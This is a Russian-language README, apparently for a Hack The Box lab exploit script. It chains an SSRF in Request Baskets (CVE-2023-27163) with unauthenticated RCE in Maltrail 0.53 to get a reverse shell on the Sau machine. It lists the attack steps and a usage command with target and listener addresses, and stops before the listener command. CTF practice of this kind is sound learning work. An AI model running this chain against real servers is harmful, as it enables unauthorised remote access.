Цепочка эксплойтов HTB Sau — CVE-2023-27163 (SSRF) + автоматизация RCE в Maltrail

Python-скрипт эксплойта, который объединяет CVE-2023-27163 (Server-Side Request Forgery в Request Baskets ≤ 1.2.1) с неаутентифицированной уязвимостью удалённого выполнения кода в Maltrail 0.53, доставляя reverse shell. Разработан для машины Sau на Hack The Box.

📌 Обзор

Этот скрипт автоматизирует путь эксплуатации, необходимый для получения начального доступа к цели:

1. Эксплуатируя CVE-2023-27163 для получения рабочего bucket-эндпоинта
2. Используя открытый сервис для взаимодействия с Maltrail
3. Запуская неаутентифицированный RCE в Maltrail
4. Доставляя reverse shell на машину атакующего

⚙️ Использование

python3 exploit.py <TARGET_URL> <LISTENER_IP> <LISTENER_PORT>

Пример:

python3 exploit.py http://10.10.11.224 10.10.14.6 4444

🎧 Netcat Listener (Важно)

Перед запуском эксплойта запустите listener на своей машине, чтобы поймать reverse shell: